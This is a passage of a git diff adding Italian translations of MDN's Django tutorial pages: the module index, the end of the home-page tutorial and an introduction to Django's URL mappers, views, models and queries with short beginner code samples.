+<p>Abbiamo appena creato la home page del nostro sito: una pagina HTML che visualizza un numero di record dal database e collegamenti ad altre pagine ancora da creare. Lungo il percorso abbiamo appreso informazioni fondamentali sui mappatori url, le viste, l'interrogazione del database con i modelli, il passaggio di informazioni a un modello da una vista e la creazione e l'estensione di modelli. Nel prossimo articolo svilupperemo questa conoscenza per creare le restanti quattro pagine del nostro sito web.</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li><a href="https://docs.djangoproject.com/en/2.1/intro/tutorial03/">Writing your first Django app, part 3: Views and Templates</a>  (Django docs)</li>
+ <li><a href="https://docs.djangoproject.com/en/2.1/topics/http/urls/">URL dispatcher</a> (Django docs)</li>
+ <li><a href="https://docs.djangoproject.com/en/2.1/topics/http/views/">View functions</a> (DJango docs)</li>
+ <li><a href="https://docs.djangoproject.com/en/2.1/topics/templates/">Templates</a> (Django docs)</li>
+ <li><a href="https://docs.djangoproject.com/en/2.1/howto/static-files/">Managing static files</a> (Django docs)</li>
+ <li><a href="https://docs.djangoproject.com/en/2.1/topics/http/shortcuts/#django.shortcuts.render">Django shortcut functions</a> (Django docs)</li>
+</ul>
+
+<p>{{PreviousMenuNext("Learn/Server-side/Django/Admin_site", "Learn/Server-side/Django/Generic_views", "Learn/Server-side/Django")}}</p>
+
+<h2 id="In_questo_modulo">In questo modulo</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Introduction">Django introduction</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/development_environment">Setting up a Django development environment</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">Django Tutorial: The Local Library website</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">Django Tutorial Part 2: Creating a skeleton website</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Models">Django Tutorial Part 3: Using models</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Admin_site">Django Tutorial Part 4: Django admin site</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Home_page">Django Tutorial Part 5: Creating our home page</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Generic_views">Django Tutorial Part 6: Generic list and detail views</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Sessions">Django Tutorial Part 7: Sessions framework</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Authentication">Django Tutorial Part 8: User authentication and permissions</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Forms">Django Tutorial Part 9: Working with forms</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Testing">Django Tutorial Part 10: Testing a Django web application</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Deployment">Django Tutorial Part 11: Deploying Django to production</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/web_application_security">Django web application security</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django mini blog</a></li>
+</ul>
diff --git a/files/it/learn/server-side/django/index.html b/files/it/learn/server-side/django/index.html
new file mode 100644
index 0000000000..63e9b5ec39
--- /dev/null
+++ b/files/it/learn/server-side/django/index.html
@@ -0,0 +1,70 @@
+---
+title: Django Web Framework (Python)
+slug: Learn/Server-side/Django
+tags:
+  - CodingScripting
+  - Intro
+  - Learn
+  - Principiante
+  - Python
+  - Server-side programming
+  - TopicStub
+  - django
+translation_of: Learn/Server-side/Django
+---
+<div>{{LearnSidebar}}<br>
+Django è un server-side web framework Python estremamente popolare. Il modulo mostra perché Django è uno dei server web framework più usati, come impostare l'ambiente di sviluppo e come iniziare ad usarlo per creare le tue web application.</div>
+
+<div></div>
+
+<h2 id="Prerequisiti">Prerequisiti</h2>
+
+<p>Per iniziare non hai bisogno di nessuna conoscenza di Django. Hai bisogno di capire cosa sono la programmazione web lato server e i framework web, leggendo il modulo <a href="/en-US/docs/Learn/Server-side/First_steps">Server-side website programming first steps</a>.</p>
+
+<p>E'  raccomandata una conoscenza generale dei concetti di programmazione e di <a href="/en-US/docs/Glossary/Python">Python</a>, ma non è essenziale per capire i concetti fondamentali.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Python è uno dei linguaggi di programmazione più semplici da leggere e capire per i principianti. Detto questo, se vuoi capire meglio questo modulo su Internet puoi trovare numerosi  libri gratuiti e tutorial ( nuovi programmatori potrebbero voler leggere la pagina <a href="https://wiki.python.org/moin/BeginnersGuide/NonProgrammers">Python for Non Programmers</a> su python.org wiki).</p>
+</div>
+
+<h2 id="Guide">Guide</h2>
+
+<dl>
+ <dt><a href="/it/docs/Learn/Server-side/Django/Introduction">Introduzione a Django</a></dt>
+ <dd>In questo primo articolo su Django risponderemo alla domanda "Cosa è Django?" e daremo una panoramica su cosa rende questo framework web speciale. Sottolineeremo le caratteristiche principali, inclusa qualche funzionalità avanzata di cui non abbiamo il tempo per parlarne in dettaglio in questo modulo. Mostreremo anche alcuni blocchi principali che compongono una applicazione Django, questo per dare una idea di cosa può fare prima ancora che tu possa configurarlo e iniziare a giocarci.</dd>
+ <dt><a href="/it/docs/Learn/Server-side/Django/development_environment"> Configurare un ambiente di sviluppo per Django</a></dt>
+ <dd>Ora che sai cosa è Django, mostreremo come configurare e testare un ambiente di sviluppo di Django su Windows, Linux (Ubuntu), e Mac OS X — o qualunque sistema operativo comune tu stia usando, questo articolo ti darà quello che ti server per iniziare lo sviluppo di applicazioni Django.</dd>
+ <dt><a href="/it/docs/Learn/Server-side/Django/Tutorial_local_library_website">Django Tutorial: Il sito  "Local Library"</a></dt>
+ <dd>Primo articolo nella serie di tutorial pratici che spiega cosa imparerai, e fornirà una panoramica del sito web, di esempio, "local library"  su cui lavoreremo e che evolverà nei seguenti articoli.</dd>
+ <dt><a href="/it/docs/Learn/Server-side/Django/skeleton_website">Django Tutorial Parte 2: Creare lo scheletro di un sito web</a></dt>
+ <dd>Questo articolo mostra come puoi creare lo scheletro del progetto che potrai continuare a popolare con impostazioni specifiche, url, modelli, view e  template.</dd>
+ <dt><a href="/it/docs/Learn/Server-side/Django/Models">Django Tutorial Parte 3: Usare i modelli</a></dt>
+ <dd>Questo articolo mostra come definire i modelli per il sito <em>LocalLibrary</em>  — i modelli rappresentano le strutture dati usate per memorizzare i dati dell'applicazione, e permette a Django di salvare i dati in un database. Spiega cosa è un modello, come si dichiara e alcuni dei tipi di dati principali. Inoltre mostra brevemente alcuni dei modi principali con cui accedere il modello dei dati.</dd>
+ <dt><a href="/it/docs/Learn/Server-side/Django/Admin_site">Django Tutorial Parte 4: Django admin site</a></dt>
+ <dd>Ora che abbiamo creato i modelli per il LocalLibrary website, useremo il sito Django Admin per aggiungere qualche "real" book data. Prima ti mostreremo come registrare i modelli con il sito admin, quindi ti mostreremo come effettuare il login e creare qualche dato. Infine mostriamo qualcuno dei modi con cui puoi migliorare la presentazione del sito admin.</dd>
+ <dt><a href="/it/docs/Learn/Server-side/Django/Home_page">Django Tutorial Parte 5: Creare la nostra home page</a></dt>
+ <dd>Ora siamo pronti ad aggiungere il codice per visualizzare la nostra prima pagina intera, una home page per il sito <em>LocalLibrary</em> che mostra quanti record abbiamo di ogni tipo di modello e fornisce collegamenti di navigazione della barra laterale alle altre nostre pagine. Lungo la strada acquisiremo esperienza pratica nella scrittura di URL maps e views, ottenendo dei record dal database e usando i templates.</dd>
+ <dt><a href="/it/docs/Learn/Server-side/Django/Generic_views">Django Tutorial Parte 6: Generic list and detail views</a></dt>
+ <dd>Questo tutorial estende il nostro sito <em>LocalLibrary</em>, aggiungendo pagine con liste e dettagli dei libri e degli autori. Qui impareremo le generic class-based views, e mostreremo come possono ridurre l'ammontare di codice da scrivere per i casi d'uso comuni. Vedremo anche la gestione degli URL in modo più approfondito, mostrando come effettuare un pattern matching di base.</dd>
+ <dt><a href="/it/docs/Learn/Server-side/Django/Sessions">Django Tutorial Parte 7: Sessions framework</a></dt>
+ <dd>Questo tutorial estende il nostro sito <em>LocalLibrary</em>, aggiungendo un contatore delle visite basatoi sulle sessioni nella home page. Questo è un esempio relativamente semplice, ma mostra come è possibile utilizzare il session framework per fornire comportamenti persistenti agli utenti anonimi nei propri siti.</dd>
+ <dt><a href="/it/docs/Learn/Server-side/Django/Authentication">Django Tutorial Parte 8: Autenticazione utenti e permessi</a></dt>
+ <dd>In questo tutorial ti mostreremo come consentire agli utenti di accedere al tuo sito con i loro account e come controllare cosa possono fare e vedere in base al fatto che siano o meno connessi e in base alle loro <em>permissions</em>. Come parte di questa dimostrazione estenderemo il sito <em>LocalLibrary</em>, aggiungendo pagine di accesso e logout e pagine specifiche dell'utente e del personale per la visualizzazione di libri presi in prestito.</dd>
+ <dt><a href="/it/docs/Learn/Server-side/Django/Forms">Django Tutorial Part 9: Lavorare con i forms</a></dt>
+ <dd>In questo tutorial ti mostreremo come lavorare con i <a href="/it/docs/Web/Guide/HTML/Forms">Forms HTML</a> in Django, e in particolare il modo più semplice per scrivere forms per creare, aggiornare ed eliminare le istanze del model. Come parte di questa dimostrazione estenderemo il sito <em>LocalLibrary</em> in modo che i bibliotecari possano rinnovare i libri e creare, aggiornare ed eliminare gli autori utilizzando i nostri forms (anziché utilizzare l'applicazione di admin).</dd>
+ <dt><a href="/en-US/docs/Learn/Server-side/Django/Testing">Django Tutorial Part 10: Testing a Django web application</a></dt>
+ <dd>As websites grow they become harder to test manually — not only is there more to test, but, as the interactions between components become more complex, a small change in one area can require many additional tests to verify its impact on other areas. One way to mitigate these problems is to write automated tests, which can easily and reliably be run every time you make a change. This tutorial shows how to automate <em>unit testing</em> of your website using Django's test framework.</dd>
+ <dt><a href="/en-US/docs/Learn/Server-side/Django/Deployment">Django Tutorial Part 11: Deploying Django to production</a></dt>
+ <dd>Now you've created (and tested) an awesome <em>LocalLibrary</em> website, you're going to want to install it on a public web server so that it can be accessed by library staff and members over the Internet. This article provides an overview of how you might go about finding a host to deploy your website, and what you need to do in order to get your site ready for production.</dd>
+ <dt><a href="/en-US/docs/Learn/Server-side/Django/web_application_security">Django web application security</a></dt>
+ <dd>Protecting user data is an essential part of any website design. We previously explained some of the more common security threats in the article <a href="https://developer.mozilla.org/en-US/docs/Web/Security">Web security</a> — this article provides a practical demonstration of how Django's in-built protections handle such threats.</dd>
+</dl>
+
+<h2 id="Assessments">Assessments</h2>
+
+<p>The following assessment will test your understanding of how to create a website using Django, as described in the guides listed above.</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django mini blog</a></dt>
+ <dd>In this assessment you'll use some of the knowledge you've learned from this module to create your own blog.</dd>
+</dl>
diff --git a/files/it/learn/server-side/django/introduzione/index.html b/files/it/learn/server-side/django/introduzione/index.html
new file mode 100644
index 0000000000..4eb36683eb
--- /dev/null
+++ b/files/it/learn/server-side/django/introduzione/index.html
@@ -0,0 +1,281 @@
+---
+title: Introduzione a Django
+slug: Learn/Server-side/Django/Introduzione
+tags:
+  - Introduzione
+  - Learn
+  - Principianti
+  - Python
+  - django
+  - programmazione lato server
+translation_of: Learn/Server-side/Django/Introduction
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{NextMenu("Learn/Server-side/Django/development_environment", "Learn/Server-side/Django")}}</div>
+
+<div><span class="seoSummary">In questo primo articolo su Django risponderemo alla domanda "Cos'è Django?" e forniremo una panoramica su cosa rende speciale questo web framework. Andremo a sottolinearne le principali caratteristiche, incluse alcune delle funzionalità avanzate, che però in questo modulo non avremo tempo di presentare nel dettaglio.</span> Mostreremo poi alcuni dei principali blocchi che compongono un'applicazione Django (sebbene a questo punto non dovreste ancora avere un ambiente di sviluppo in cui poterla testare).</div>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerequisiti:</th>
+   <td>
+    <p>Conoscenza base del computer. Un'introduzione generale alla <a href="https://developer.mozilla.org/it/docs/Learn/Server-side/First_steps">programmazione lato server</a>, in particolare ai <a href="/en-US/docs/Learn/Server-side/First_steps/Client-Server_overview">meccanismi di interazione client-server</a>.</p>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">Obiettivo:</th>
+   <td>Acquisire familiarità con l'ambiente Django: cos'è, come funziona, quali sono le principali funzionalità che mette a disposizione e i blocchi principali delle applicazioni Django.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Che_cosè_Django">Che cos'è Django?</h2>
+
+<p>Django è un framework web Python di alto livello che consente un rapido sviluppo di siti web sicuri e manutenibili. Costruito da sviluppatori esperti, Django si occupa di gran parte del problema dello sviluppo web, in modo da potersi concentrare sulla scrittura della propria app senza dover reinventare la ruota. È gratuito e open source, ha una comunità fiorente e attiva, un'ottima documentazione e molte opzioni per il supporto gratuito e a pagamento. </p>
+
+<p>Django vi aiuta a scrivere software che è:</p>
+
+<dl>
+ <dt>Completo</dt>
+ <dd>Django segue la filosofia "Batterie incluse" e fornisce quasi tutto ciò che gli sviluppatori potrebbero voler fare "out of the box". Poiché tutto ciò di cui si ha bisogno è parte di un unico "prodotto", funziona tutto insieme senza soluzione di continuità, segue principi di progettazione coerenti e ha una vasta e <a href="https://docs.djangoproject.com/en/stable/">aggiornata documentazione</a>.</dd>
+ <dt>Versatile</dt>
+ <dd>Django può essere (ed è stato) utilizzato per costruire quasi ogni tipo di sito web - dai sistemi di gestione dei contenuti e wiki, fino ai social network e ai siti di notizie. Può funzionare con qualsiasi framework lato client, e può fornire contenuti in quasi tutti i formati (inclusi HTML, feed RSS, JSON, XML, ecc.). Il sito che state leggendo è basato su Django!</dd>
+ <dd>Internamente, mentre fornisce scelte per quasi tutte le funzionalità che si possono desiderare (ad esempio, diversi database popolari, motori di modellizzazione, ecc), può anche essere esteso per utilizzare altri componenti se necessario.</dd>
+ <dt>Sicuro</dt>
+ <dd>Django aiuta gli sviluppatori ad evitare molti errori di sicurezza comuni, fornendo un framework che è stato progettato per "fare le cose giuste" per proteggere automaticamente il sito web. Ad esempio, Django fornisce un modo sicuro per gestire gli account utente e le password, evitando i comuni errori come l'inserimento di informazioni di sessione nei cookie dove sono vulnerabili (i cookie contengono solo una chiave e i dati reali sono memorizzati nel database) o la memorizzazione diretta delle password piuttosto che l'hash della password.</dd>
+ <dd><em>Un hash della password è un valore di lunghezza fissa creato inviando la password attraverso una <a href="https://en.wikipedia.org/wiki/Cryptographic_hash_function">funzione di hash crittografico</a>. Django può controllare se una password inserita è corretta eseguendola attraverso la funzione hash e confrontando l'uscita con il valore hash memorizzato. Tuttavia, a causa della natura "unidirezionale" della funzione, anche se un valore hash memorizzato è compromesso, è difficile per un aggressore elaborare la password originale.</em></dd>
+ <dd>Django consente la protezione contro molte vulnerabilità di default, tra cui SQL injection, cross-site scripting, cross-site request forgery e clickjacking (vedere <a href="/en-US/docs/Learn/Server-side/First_steps/Website_security">Sicurezza del sito web</a> per maggiori dettagli su tali attacchi).</dd>
+ <dt>Scalabile</dt>
+ <dd>Django utilizza un'architettura basata su componenti "shared-nothing" (ogni parte dell'architettura è indipendente dalle altre e può quindi essere sostituita o modificata se necessario). Avere una chiara separazione tra le diverse parti significa che può scalare per l'aumento del traffico aggiungendo hardware a qualsiasi livello: server di caching, server di database o server di applicazioni. Alcuni dei siti più trafficati hanno scalato con successo Django per soddisfare le loro richieste (ad esempio Instagram e Disqus, per citarne solo due).</dd>
+ <dt>Manutenibile</dt>
+ <dd>Il codice Django è scritto utilizzando principi di progettazione e modelli che incoraggiano la creazione di codice manutenibile e riutilizzabile. In particolare, si avvale del principio Don't Repeat Yourself (DRY) per evitare inutili duplicazioni, riducendo la quantità di codice. Django promuove anche il raggruppamento delle funzionalità correlate in "applicazioni" riutilizzabili e, ad un livello più basso, raggruppa il codice correlato in moduli (sulla falsariga del modello Model View Controller (MVC)).</dd>
+ <dt>Portabile</dt>
+ <dd>Django è scritto in Python, che funziona su molte piattaforme. Ciò significa che non siete legati a nessuna particolare piattaforma server e potete eseguire le vostre applicazioni su molti tipi di Linux, Windows e Mac OS X. Inoltre, Django è ben supportato da molti web hosting provider, che spesso forniscono infrastrutture e documentazione specifiche per l'hosting dei siti Django.</dd>
+</dl>
+
+<h2 id="Da_dove_proviene">Da dove proviene?</h2>
+
+<p>Django è stato inizialmente sviluppato tra il 2003 e il 2005 da un team web che si occupava della creazione e della manutenzione dei siti web dei giornali. Dopo aver creato un certo numero di siti, il team ha iniziato a elaborare e riutilizzare un sacco di codice e modelli di design comuni. Questo codice comune si è evoluto in un generico framework di sviluppo web, che è stato "open-sourced" come progetto "Django" nel luglio 2005. </p>
+
+<p>Django ha continuato a crescere e migliorare, dalla sua prima release milestone (1.0) nel settembre 2008 fino alla recente versione 2.0 (2017). Ogni release ha aggiunto nuove funzionalità e correzioni di bug, che vanno dal supporto per nuovi tipi di database, motori di template e caching, fino all'aggiunta di funzioni di visualizzazione e classi "generiche" (che riducono la quantità di codice che gli sviluppatori devono scrivere per una serie di attività di programmazione). </p>
+
+<div class="note">
+<p><strong>Nota</strong>: Date un'occhiata alle <a href="https://docs.djangoproject.com/en/stable/releases/">note di rilascio</a> sul sito web di Django per vedere cosa è cambiato nelle ultime versioni, e quanto lavoro si sta facendo per rendere Django migliore.</p>
+</div>
+
+<p>Django è ora un progetto open source fiorente e collaborativo, con molte migliaia di utenti e collaboratori. Pur avendo ancora alcune caratteristiche che riflettono la sua origine, Django si è evoluto in un framework versatile in grado di sviluppare qualsiasi tipo di sito web. </p>
+
+<h2 id="Quanto_è_popolare_Django">Quanto è popolare Django?</h2>
+
+<p>Non c'è una misura disponibile e definitiva della popolarità dei framework lato server (anche se siti come <a href="http://hotframeworks.com/">Hot Frameworks</a> tentano di valutare la popolarità usando meccanismi come il conteggio del numero di progetti GitHub e le domande di StackOverflow per ogni piattaforma). Una domanda migliore è se Django è "abbastanza popolare" per scongiurare i problemi delle piattaforme poco popolari. Continua ad evolversi? Puoi chiedere aiuto se ne hai bisogno? C'è la possibilità di ottenere un lavoro retribuito se si impara Django? </p>
+
+<p>In base al numero di siti di alto profilo che utilizzano Django, al numero di persone che contribuiscono al codice e al numero di persone che forniscono supporto sia gratuito che a pagamento, allora sì, Django è un framework popolare!</p>
+
+<p>I siti di alto profilo che utilizzano Django includono: Disqus, Instagram, Knight Foundation, MacArthur Foundation, Mozilla, National Geographic, Open Knowledge Foundation, Pinterest e Open Stack (fonte: <a href="https://www.djangoproject.com/">home page di Django</a>).</p>
+
+<h2 id="Django_è_dogmatico">Django è dogmatico?</h2>
+
+<p>I framework web spesso si riferiscono a se stessi come "dogmatici" o "non dogmatici".</p>
+
+<p>I framework dogmatici sono quelli che hanno dogmi sul "giusto modo" di gestire un particolare compito. Spesso supportano un rapido sviluppo in un particolare dominio (risolvere problemi di un particolare tipo) perché il modo giusto di fare qualsiasi cosa è di solito ben compreso e ben documentato. Tuttavia possono essere meno flessibili nel risolvere i problemi al di fuori del loro dominio principale e tendono ad offrire meno scelte per quali componenti e approcci si possono utilizzare.</p>
+
+<p>I framework non dogmatici, al contrario, hanno molte meno restrizioni sul modo migliore per collegare i componenti per raggiungere un obiettivo, o anche su quali componenti usare. Con essi è più facile per gli sviluppatori utilizzare gli strumenti più adatti per completare un particolare compito, al anche se devono sostenere un dispendio di energie per trovare da soli quei componenti.</p>
+
+<p>Django è "mediamente dogmatico", e quindi fornisce il "meglio di entrambi i mondi". Fornisce un insieme di componenti per gestire la maggior parte dei compiti di sviluppo web e uno (o due) modi preferiti per utilizzarli. Tuttavia, l'architettura disaccoppiata di Django significa che di solito è possibile scegliere tra una serie di opzioni diverse, o, se lo si desidera, aggiungere il supporto per quelle completamente nuove.</p>
+
+<h2 id="Che_aspetto_ha_il_codice_di_Django">Che aspetto ha il codice di Django?</h2>
+
+<p>In un sito web tradizionale basato su dati, un'applicazione web attende le richieste HTTP dal browser web (o da un altro client). Quando una richiesta viene ricevuta, l'applicazione elabora ciò che è necessario in base all'URL ed eventualmente alle informazioni contenute nei dati <code>POST </code>o nei dati <code>GET</code>. A seconda di ciò che è richiesto, può quindi leggere o scrivere informazioni da un database o eseguire altri compiti necessari per soddisfare la richiesta. L'applicazione restituisce quindi una risposta al browser web, spesso creando dinamicamente una pagina HTML che il browser può visualizzare inserendo i dati recuperati nei segnaposto in un modello HTML.</p>
+
+<p>Le applicazioni web Django tipicamente raggruppano il codice che gestisce ciascuno di questi passaggi in file separati:<img alt="" src="https://mdn.mozillademos.org/files/13931/basic-django.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p>
+
+<ul>
+ <li><strong>URLs: </strong>Mentre è possibile elaborare le richieste da ogni singolo URL tramite una singola funzione, è molto più gestibile scrivere una funzione di visualizzazione separata per gestire ogni risorsa. Un mappatore di URL viene utilizzato per reindirizzare le richieste HTTP alla vista appropriata in base all'URL della richiesta. Il mappatore URL può anche abbinare particolari modelli di stringhe o cifre che appaiono in un URL, e passarli a una funzione di visualizzazione come dati.<br>
+  <strong>View:</strong> Una vista è una funzione di gestione delle richieste, che riceve le richieste HTTP e restituisce le risposte HTTP. Le viste accedono ai dati necessari per soddisfare le richieste tramite modelli (<em>models</em>) e delegano la formattazione della risposta ai <em>templates</em>.</li>
+ <li><strong>Models:</strong> I modelli sono oggetti Python che definiscono la struttura dei dati di un'applicazione e forniscono meccanismi per gestire (aggiungere, modificare, cancellare) e interrogare i record nel database. </li>
+ <li><strong>Templates:</strong>Un template è un file di testo che definisce la struttura o il layout di un file (come una pagina HTML), con segnaposto utilizzati per rappresentare il contenuto effettivo. Una vista (<em>view</em>) può creare dinamicamente una pagina HTML utilizzando un template HTML, popolandola con i dati di un modello (<em>model</em>). Un template può essere utilizzato per definire la struttura di qualsiasi tipo di file; non deve essere necessariamente HTML!</li>
+</ul>
+
+<div class="note">
+<p><strong>Nota</strong>: Django si riferisce a questa organizzazione come all'architettura "Model View Template (MVT)". Ha molte somiglianze con la più familiare architettura del <a href="/en-US/docs/Web/Apps/Fundamentals/Modern_web_app_architecture/MVC_architecture">Model View Controller</a>.</p>
+</div>
+
+<ul>
+</ul>
+
+<p>Le sezioni seguenti vi daranno un'idea di come sono fatte queste parti principali di un'applicazione Django (approfondiremo i dettagli più avanti nel corso, una volta creato un ambiente di sviluppo).</p>
+
+<h3 id="Inviare_la_richiesta_alla_vista_giusta_urls.py">Inviare la richiesta alla vista giusta (urls.py)</h3>
+
+<p>Un URL mapper è tipicamente memorizzato in un file chiamato <strong>urls.py</strong>. Nell'esempio seguente, il mapper (<code>urlpatterns</code>) definisce una lista di mappature tra le routes (specifici URL <em>patterns</em> ) e le corrispondenti funzioni di visualizzazione (<em>view</em>). Se viene ricevuta una richiesta HTTP che ha un URL che corrisponde a uno specifico <em>pattern</em>, allora la funzione di <em>view</em> associata sarà chiamata e passerà la richiesta.</p>
+
+<pre class="notranslate">urlpatterns = [
+    <strong>path('admin/', admin.site.urls),
+    </strong>path('book/&lt;int:id&gt;/', views.book_detail, name='book_detail'),
+    path('catalog/', include('catalog.urls')),
+    re_path(r'^([0-9]+)/$', views.best),
+]
+</pre>
+
+<p>L'oggetto <code>urlpatterns </code>è una lista di funzioni <code>path()</code> e/o<code> re_path()</code> (le liste Python sono definite usando parentesi quadre, dove gli elementi sono separati da virgole e possono avere una virgola di tracciamento opzionale. Per esempio: <code>[item1, item2, item3,]</code>).</p>
+
+<p>Il primo argomento per entrambi i metodi è il percorso (<em>pattern</em>) che sarà abbinato. Il metodo <code>path()</code> usa le parentesi angolari per definire le parti di un URL che saranno catturate e passate alla funzione di visualizzazione come argomenti. La funzione <code>re_path()</code> usa un approccio flessibile per la corrispondenza dei pattern, noto come espressione regolare. Ne parleremo in un articolo successivo!</p>
+
+<p>Il secondo argomento è la funzione che viene chiamata in abbinamento al pattern. La notazione <code>views.book_detail</code> indica che la funzione chiamata <code>book_detail()</code> può essere trovata in un modulo chiamato <code>views</code> (cioè all'interno di un file chiamato <code>views.py</code>)</p>
+
+<h3 id="Gestione_della_richiesta_views.py">Gestione della richiesta (views.py)</h3>
+
+<p>Le <em>views </em>sono il cuore dell'applicazione web, ricevono le richieste HTTP dai client web e restituiscono le risposte HTTP. Nel mezzo, esse mettono a disposizione le altre risorse del framework per accedere ai database, rendere i modelli, ecc. </p>
+
+<p>L'esempio seguente mostra una minima funzione di view <code>index()</code>, che avrebbe potuto essere chiamata dal nostro URL mapper nella sezione precedente.  Come tutte le funzioni di view riceve un oggetto <code>HttpRequest </code>come parametro (<code>request</code>) e restituisce un oggetto <code>HttpResponse</code>. In questo caso non facciamo nulla con la richiesta, e la nostra risposta restituisce semplicemente una stringa codificata. Vi mostreremo una richiesta che fa qualcosa di più interessante in una sezione successiva.</p>
+
+<pre class="brush: python notranslate"># filename: views.py (Django view functions)
+
+from django.http import HttpResponse
+
+def index(request):
+    # Get an HttpRequest - the request parameter
+    # perform operations using information from the request.
+    # Return HttpResponse
+    return HttpResponse('Hello from Django!')
+</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: Un po' di Python:</p>
+
+<ul>
+ <li><a href="https://docs.python.org/3/tutorial/modules.html">I moduli Python </a>sono "librerie" di funzioni, memorizzate in file separati, che potremmo voler utilizzare nel nostro codice. Qui importiamo solo l'oggetto <code>HttpResponse </code>dal modulo <code>django.http</code> in modo da poterlo usare nella nostra view: <code>from django.http import HttpResponse</code> . Ci sono altri modi per importare alcuni o tutti gli oggetti da un modulo.</li>
+ <li>Le funzioni sono dichiarate usando la parola chiave <code>def </code>come mostrato sopra, con i parametri denominati elencati tra parentesi dopo il nome della funzione; la riga finisce con i due punti. Si noti come le righe successive sono tutte indentate. L'indentazione è importante, in quanto specifica che le linee di codice sono all'interno di quel particolare blocco (l'indentazione obbligatoria è una caratteristica chiave di Python, ed è uno dei motivi per cui il codice Python è così facile da leggere).</li>
+</ul>
+</div>
+
+<ul>
+</ul>
+
+<p>Le views sono solitamente salvate in un file chiamato <strong>views.py</strong>.</p>
+
+<h3 id="Definizione_dei_modelli_di_dati_models.py">Definizione dei modelli di dati (models.py)</h3>
+
+<p>Le applicazioni web Django gestiscono e interrogano i dati attraverso oggetti Python chiamati modelli (<em>models</em>). I modelli definiscono la struttura dei dati memorizzati, inclusi i tipi di campo ed eventualmente anche la loro dimensione massima, i valori di default, le opzioni della lista di selezione, il testo di aiuto per la documentazione, il testo dell'etichetta per i moduli, ecc. La definizione del modello è indipendente dal database sottostante - è possibile scegliere uno dei diversi modelli come parte delle impostazioni del progetto. Una volta scelto il database che si vuole utilizzare, non è necessario parlare direttamente con esso - basta scrivere la struttura del modello e altro codice, e Django si occupa per voi di tutto il lavoro sporco di comunicazione con il database.</p>
+
+<p>Il frammento di codice qui sotto mostra un modello Django molto semplice per un oggetto <code>Team</code>. La classe <code>Team </code>è derivata dalla classe django <code>model.Model</code>. Essa definisce il nome del team e il livello del team come campi di caratteri e specifica un numero massimo di caratteri da memorizzare per ogni record. Il <code>team_level</code> può essere uno dei diversi valori, quindi lo definiamo come un campo di scelta e forniamo una mappatura tra le scelte da visualizzare e i dati da memorizzare, insieme ad un valore predefinito. </p>
+
+<pre class="brush: python notranslate"># filename: models.py
+
+from django.db import models
+
+class Team(models.Model):
+    team_name = models.CharField(max_length=40)
+
+    TEAM_LEVELS = (
+        ('U09', 'Under 09s'),
+        ('U10', 'Under 10s'),
+        ('U11', 'Under 11s'),
+        ...  #list other team levels
+    )
+    team_level = models.CharField(max_length=3, choices=TEAM_LEVELS, default='U11')
+</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: Un po' di Python:</p>
+
+<ul>
+ <li>
+  <p>Python supporta la "programmazione orientata agli oggetti" (object-oriented programming<em> - </em>OOP <em>ndt</em>), uno stile di programmazione in cui organizziamo il nostro codice in oggetti, che includono dati e funzioni correlate per operare su quei dati. Gli oggetti possono anche ereditare/estendere/derivare da altri oggetti, permettendo di condividere il comportamento comune tra oggetti correlati. In Python usiamo la parola chiava <code>class </code>per definire un "prototipo" (<em>blueprint - ntd</em>) di un oggetto. Possiamo creare più <em>istanze </em>specifiche del tipo di oggetto in base al modello nella classe.</p>
+
+  <p>Così, per esempio, qui abbiamo una classe <code>Team</code>, che deriva dalla classe <code>Model</code>. Questo significa che è un modello, e che conterrà tutti i metodi di un modello, ma possiamo anche dargli caratteristiche specializzate proprie. Nel nostro modello definiamo i campi di cui il nostro database avrà bisogno per memorizzare i nostri dati, dando loro nomi specifici. Django utilizza queste definizioni, compresi i nomi dei campi, per creare il database sottostante.</p>
+ </li>
+</ul>
+</div>
+
+<h3 id="Interrogare_i_dati_views.py">Interrogare i dati (views.py)</h3>
+
+<p>Il modello Django fornisce una semplice API di interrogazione per la ricerca nel database. Questa può essere confrontata con una serie di campi alla volta utilizzando diversi criteri (ad es. esatto, non sensibile alle maiuscole, maggiore di, ecc.), e può supportare affermazioni complesse (ad esempio, è possibile specificare una ricerca su squadre U11 che hanno un nome di squadra che inizia con "Fr" o finisce con "al"). </p>
+
+<p>Il frammento di codice mostra una funzione di visualizzazione (gestore di risorse) per la visualizzazione di tutti i nostri team U09. La linea in grassetto mostra come possiamo usare l'API della query del modello per filtrare per tutti i record dove il campo <code>team_level</code> ha esattamente il testo 'U09' (notare come questo criterio è passato alla funzione <code>filter()</code> come argomento con il nome del campo e il tipo di match separati da un doppio underscore: <strong>team_level__exact</strong>).</p>
+
+<pre class="brush: python notranslate">## filename: views.py
+
+from django.shortcuts import render
+from .models import Team
+
+def index(request):
+    <strong>list_teams = Team.objects.filter(team_level__exact="U09")</strong>
+    context = {'youngest_teams': list_teams}
+    return render(request, '/best/index.html', context)
+</pre>
+
+<dl>
+</dl>
+
